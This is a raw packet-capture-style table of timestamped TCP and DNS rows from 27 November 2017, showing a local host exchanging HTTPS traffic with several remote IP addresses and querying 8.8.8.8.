Nov 27, 2017 12:34:44.875543118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.875566959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.894126892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.894148111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.894300938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.894318104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.920150995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.920250893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.920280933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.924719095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.924738884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.924839973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.924861908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.940397978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.940577030 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.940602064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.947653055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.947673082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.947849035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.947870970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.955163002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.955180883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.955507040 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.955527067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.980087042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.980108976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.980214119 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.980246067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.993690014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.993709087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.994060993 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.994088888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.045334101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.045351982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.045631886 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.045649052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.101977110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.101995945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.102349997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.102377892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.144066095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.144092083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.144289970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.144328117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.213691950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.213709116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.213716030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.213869095 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.213896036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.230408907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.230426073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.230587959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.230618000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.269833088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.269870043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.270128012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.270168066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.298336029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.298363924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.298602104 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.298625946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.337874889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.337912083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.337918997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.338191032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.338233948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.352070093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.352092028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.352258921 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.352298021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.370878935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.370908976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.371077061 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.371115923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.381324053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.381345987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.387823105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.387870073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.411710024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.412081003 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.412127018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.421658993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.421684027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.421960115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.421983004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.430546999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.430569887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.430762053 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.430782080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.447752953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.447778940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.448304892 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.448365927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.463670015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.463705063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.464035034 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.464086056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.478588104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.478743076 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.478792906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.491449118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.491471052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.491731882 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.491802931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.498480082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.498512030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.498650074 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.498692036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.514775991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.514805079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.514977932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.515014887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.531255960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.531284094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.531466007 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.531550884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.548177004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.548202991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.548257113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.548264980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.548283100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.548414946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.548438072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.573409081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.573434114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.573606968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.573632002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.591949940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.591969967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.592087984 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.592112064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.619384050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.619401932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.619406939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.619515896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.619540930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.626336098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.626348972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.626446009 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.626466036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.635435104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.635555983 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.635577917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.642714024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.642803907 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.642827034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.649552107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.649677992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.649699926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.649957895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.650104046 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.650124073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.674606085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.674618959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.674787045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.674812078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.676510096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.676522970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.676589966 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.676609039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.683526039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.683538914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.683614969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.683634043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.703908920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.703924894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.704030991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.704052925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.711661100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.715689898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.715712070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.722250938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:45.722356081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:45.724673986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:47.686028957 CET	65029	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:47.845179081 CET	53	65029	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:47.847711086 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:47.847774029 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:47.847913027 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:47.849164963 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:47.849200964 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.173171997 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.173187971 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.173556089 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:48.220330000 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.240107059 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:48.240145922 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.475821018 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.501094103 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:48.501144886 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.773876905 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.773899078 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:48.774339914 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:34:48.794944048 CET	60038	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:48.975712061 CET	53	60038	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:48.984357119 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:48.984432936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:48.984534025 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:48.986279011 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:48.986315012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.361325026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.361365080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.361411095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.362963915 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:49.397412062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.414648056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:49.414707899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.631809950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:49.634911060 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:49.634974003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.217573881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.217602968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.217607975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.217678070 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.232671976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.232718945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.232742071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.232861042 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.240058899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.249866009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.249892950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.250022888 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.250062943 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.263962030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.264117002 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.264149904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.264904022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.264928102 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.265026093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.265044928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.272422075 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.272454977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.272533894 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.272569895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.291274071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.291306973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.291393042 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.291419983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.297748089 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.298566103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.299161911 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.309211016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.309237957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.309245110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.309326887 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.320424080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.334701061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.334724903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.334857941 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.334903002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.348412037 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.348455906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.348577023 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.348611116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.352821112 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.370660067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.377633095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.377659082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.377736092 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.377760887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.397458076 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.397615910 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.397640944 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.408910990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.408929110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.409054041 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.409104109 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.420037031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.420059919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.420326948 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.420367002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.449012995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.449043036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.449198961 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.449222088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.469229937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.469249010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.469383001 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.469403982 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.499906063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.499926090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.499931097 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.500077009 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.500099897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.507100105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.507117987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.507199049 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.507217884 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.528373957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.528403997 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.528522015 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.528542995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.547652006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.547673941 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.547806978 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.547827959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.581124067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.581161022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.581166983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.581302881 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.581326008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.588886976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.588931084 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.589032888 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.589052916 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.609714031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.609757900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.609931946 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.609954119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.628024101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.628052950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.628153086 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.628171921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.652395964 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.652420044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.652430058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.652544975 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.652569056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.668118000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.668169022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.668328047 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.668359041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.676327944 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.676358938 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.690386057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.690404892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.690525055 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.690551043 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.702738047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.702758074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.702904940 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.702930927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.720766068 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.720791101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.721214056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.721554041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.721576929 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.721652031 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.728571892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.728596926 CET	443	49167	192.30.253.121	192.168.1.91
